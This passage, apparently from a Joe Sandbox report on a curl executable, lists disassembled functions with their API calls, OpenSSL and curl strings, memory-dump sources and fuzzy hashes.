Instruction ID: ddcd6cd56c278b8bfb44541f9afacf70a26ceb723600a81f54bcd87f053378c3
Opcode Fuzzy Hash: 376588f30a640765d5a5d7d1dda42dbc20b60abc177dc03dc7d4a3e3c5359acb
Instruction Fuzzy Hash: 1D31F7529082613DFB22D728BC05BBE3B9D4F97341F0D40E5EC859B14BE6559949C3B2

Function 009E4D50 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 97COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009E4E3D

Part of subcall function 0098AD70: _raise.LIBCMT ref: 0098AD82

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 009E4E56
..\..\openssl\openssl\ssl\s2_pkt.c, xrefs: 009E5033
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 009E4E60
..\..\openssl\openssl\ssl\s2_pkt.c, xrefs: 009E5156
..\..\openssl\openssl\ssl\s2_pkt.c, xrefs: 009E518C
..\..\openssl\openssl\ssl\s2_pkt.c, xrefs: 009E519A
..\..\openssl\openssl\ssl\s2_pkt.c, xrefs: 009E4F34

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset_raise
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\ssl\s2_pkt.c$..\..\openssl\openssl\ssl\s2_pkt.c$..\..\openssl\openssl\ssl\s2_pkt.c$..\..\openssl\openssl\ssl\s2_pkt.c$..\..\openssl\openssl\ssl\s2_pkt.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-1443244349
Opcode ID: b18b794a5254c627243000bce4402cfdd0b6980dedd8cd39959376c101880a48
Instruction ID: 7415775f9300029743c07b43fae28a27fc37ab7a1725062983480ffac5615fea
Opcode Fuzzy Hash: b18b794a5254c627243000bce4402cfdd0b6980dedd8cd39959376c101880a48
Instruction Fuzzy Hash: 77317A71608345AFC308DF58D884E6BBBE8FF98304F45096DF98597262D734EA58CB92

Function 009728D0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 93COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 0097299E

Strings

..\..\openssl\openssl\crypto\err\err.c, xrefs: 00972964
Operation not permitted, xrefs: 0097297B, 0097299D
..\..\openssl\openssl\crypto\err\err.c, xrefs: 009728DE
..\..\openssl\openssl\crypto\err\err.c, xrefs: 0097291F
..\..\openssl\openssl\crypto\err\err.c, xrefs: 009729E1
..\..\openssl\openssl\crypto\err\err.c, xrefs: 0097293B
..\..\openssl\openssl\crypto\err\err.c, xrefs: 00972907

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strncpy
String ID: ..\..\openssl\openssl\crypto\err\err.c$..\..\openssl\openssl\crypto\err\err.c$..\..\openssl\openssl\crypto\err\err.c$..\..\openssl\openssl\crypto\err\err.c$..\..\openssl\openssl\crypto\err\err.c$..\..\openssl\openssl\crypto\err\err.c$Operation not permitted
API String ID: 2961919466-3481276074
Opcode ID: cc844a278a8d28c9a0891987162ab00ca9bc0088cac964254729e247c1224c73
Instruction ID: c6353415b0a031615f1ecd3a9d3cc3fd0a2999335094d081584ca21162187ac3
Opcode Fuzzy Hash: cc844a278a8d28c9a0891987162ab00ca9bc0088cac964254729e247c1224c73
Instruction Fuzzy Hash: 78219532B903016AFB209B589D43F6232A9AF50B14F498424FB4CAD2D2E6F99D858652

Function 0092E620 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 373COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 0092E6BB

Strings

I64, xrefs: 0092E6DC
I32, xrefs: 0092E6B2
, xrefs: 0092EAD5

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strncmp
String ID: $I32$I64
API String ID: 909875538-1777057544
Opcode ID: 849a0025d4bee9562e7dea3582c9220ab00a551422707d492432efb6c1fb9144
Instruction ID: 094ab0da441ad4bc08d2fee06c43651549182a76295ba1e13055a72eb92783f9
Opcode Fuzzy Hash: 849a0025d4bee9562e7dea3582c9220ab00a551422707d492432efb6c1fb9144
Instruction Fuzzy Hash: EAF1A0B4808316CFD711CF18D4C076AB7E8FF85304F50896AD8998B259E775E69ACF82

Function 009A6D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 255COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009A6E74
_memmove.LIBCMT ref: 009A6EBC
_memmove.LIBCMT ref: 009A6EE7
_memmove.LIBCMT ref: 009A6FB3
_memmove.LIBCMT ref: 009A702B

Strings

..\..\openssl\openssl\crypto\evp\e_aes.c, xrefs: 009A6E30

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\crypto\evp\e_aes.c
API String ID: 4104443479-1611269379
Opcode ID: b8aff0a59a4f7c018d291512b98ddfe546a49651e9ce3693fcee575db5b0d0be
Instruction ID: 710cca68d2c4f9f0468fff3262951792e352e5b06effa2d6229b4e6e2f933d62
Opcode Fuzzy Hash: b8aff0a59a4f7c018d291512b98ddfe546a49651e9ce3693fcee575db5b0d0be
Instruction Fuzzy Hash: 1D91E6352046068BDB20CF38E8897E6B3E4FB45315F14467EE86E87691D732B964CBD0

Function 00922880 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 208COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 009228C6
_strtoul.LIBCMT ref: 00922912
_memmove.LIBCMT ref: 009229E3
_free.LIBCMT ref: 00922A92
_free.LIBCMT ref: 00922AB7

Part of subcall function 00A1E832: RtlFreeHeap.NTDLL(00000000,00000000,?,00A25D32,00000000,?,?,?,00000000,?,00A29029,00000018,00A67E48,00000008,00A28F76,?), ref: 00A1E846
Part of subcall function 00A1E832: GetLastError.KERNEL32(00000000,?,00A25D32,00000000,?,?,?,00000000,?,00A29029,00000018,00A67E48,00000008,00A28F76,?,?), ref: 00A1E858

Strings

internal error: invalid pattern type (%d), xrefs: 00922A73
%0*d, xrefs: 00922985

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast_malloc_memmove_strtoul
String ID: %0*d$internal error: invalid pattern type (%d)
API String ID: 3866064334-1881276525
Opcode ID: fde73a2f9932b2901f314fb471bdedac0052c852101988e3883b08fd225a8a5e
Instruction ID: 596b78c85bb6f71139ca451d1a91838d2e4ebe94c131858c47993230fd59a0d9
Opcode Fuzzy Hash: fde73a2f9932b2901f314fb471bdedac0052c852101988e3883b08fd225a8a5e
Instruction Fuzzy Hash: C6614A756083119FCB10CF28E5416ABF7E9BFD8304F18086DF88597346E632D94ACBA2

Function 0095E5F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 190COMMON

Download Yara Rule

APIs

_strstr.LIBCMT ref: 0095E6A9

Strings

, xrefs: 0095E656
bytes, xrefs: 0095E6A3
Maxdownload = %lld, xrefs: 0095E777
Getting file with size: %lld, xrefs: 0095E792
RETR response: %03d, xrefs: 0095E648
Data conn was not available immediately, xrefs: 0095E7D7

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strstr
String ID: $ bytes$Data conn was not available immediately$Getting file with size: %lld$Maxdownload = %lld$RETR response: %03d
API String ID: 2882301372-3920164364
Opcode ID: 1dcf2a07e998bda513f5e15d04cd840055a795016856c9581e60fea68ca14fae
Instruction ID: e5b430e54b3746395f9f0b6798885e624c6aa52450ede4b44b2ec9140893aaba
Opcode Fuzzy Hash: 1dcf2a07e998bda513f5e15d04cd840055a795016856c9581e60fea68ca14fae
Instruction Fuzzy Hash: EC51FA716043015BD728CE2ED84476A77D9EBC8362F14467AEC698B282D736CF4C8B92

Function 009D6E40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 169COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 009D6EC1

Strings

move, xrefs: 009D6F4E
email, xrefs: 009D6F13, 009D6F29, 009D6F2A
..\..\openssl\openssl\crypto\x509v3\v3_alt.c, xrefs: 009D6E58
copy, xrefs: 009D6EDF
email, xrefs: 009D6EA9, 009D6EBA, 009D6EBB

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strncmp
String ID: ..\..\openssl\openssl\crypto\x509v3\v3_alt.c$copy$email$email$move
API String ID: 909875538-877222765
Opcode ID: ce4ad1577b16c30bb07eb843c7aa86ef18d4f8ed17519f1749f8ae6671e92fa1
Instruction ID: 173779cade2db201444f0d85c845319f39734ee69e4e1fd635d5317671644be7
Opcode Fuzzy Hash: ce4ad1577b16c30bb07eb843c7aa86ef18d4f8ed17519f1749f8ae6671e92fa1
Instruction Fuzzy Hash: 0A4140667846015BDF205F28E8D1777779A9FA6348F14C87EEC869B342E712DC09C261

Function 0092C029 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 151COMMON

Download Yara Rule

APIs

_swscanf.LIBCMT ref: 0092C0CB
_malloc.LIBCMT ref: 0092C1B9
_free.LIBCMT ref: 0092C1E6
_free.LIBCMT ref: 0092C288
_free.LIBCMT ref: 0092C2B6

Strings

%127[^/]/%127[^;,], xrefs: 0092C0C5
Error building form post!, xrefs: 0092C1CF
;filename=, xrefs: 0092C116
type=, xrefs: 0092C0A0

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _free$_malloc_swscanf
String ID: %127[^/]/%127[^;,]$;filename=$Error building form post!$type=
API String ID: 2483032464-521824204
Opcode ID: 128d1ce21929f1c780b146ce19f17eb00e53ee1067e2c12be80773de324337df
Instruction ID: fff160ef3058ea760bf726c3b0569b06013ec6d0f4176d5af4fc977e8f358d51
Opcode Fuzzy Hash: 128d1ce21929f1c780b146ce19f17eb00e53ee1067e2c12be80773de324337df
Instruction Fuzzy Hash: 715114B1508352DBDB10DF20E841BAFB7E9AF84744F044969F88557246EB71EA09CBD2

Function 00998960 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 144COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009989B0
_memmove.LIBCMT ref: 009989DC
_memmove.LIBCMT ref: 00998A07

Strings

..\..\openssl\openssl\ssl\s3_both.c, xrefs: 00998AC8
..\..\openssl\openssl\ssl\s3_both.c, xrefs: 00998ADC
i <= EVP_MAX_MD_SIZE, xrefs: 00998ABE
i <= EVP_MAX_MD_SIZE, xrefs: 00998AD2

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\ssl\s3_both.c$..\..\openssl\openssl\ssl\s3_both.c$i <= EVP_MAX_MD_SIZE$i <= EVP_MAX_MD_SIZE
API String ID: 4104443479-515074533
Opcode ID: dd03946691ee5b8fa7f61ae212fdc40a5519566c083057270a1773314b244714
Instruction ID: 780ede7319d8bbb67a904fc8f5065fbc21c7c19738c737993a0d0e11ca2855b0
Opcode Fuzzy Hash: dd03946691ee5b8fa7f61ae212fdc40a5519566c083057270a1773314b244714
Instruction Fuzzy Hash: B641BB322017009FDB24DB48C984E97B7E9FF89318F14496EE6868BB92D772F801CB50

Function 00996C30 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 116COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996D9A
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996C88
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996D07
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996CC5
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996D36
..\..\openssl\openssl\crypto\rand\md_rand.c, xrefs: 00996CEA

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
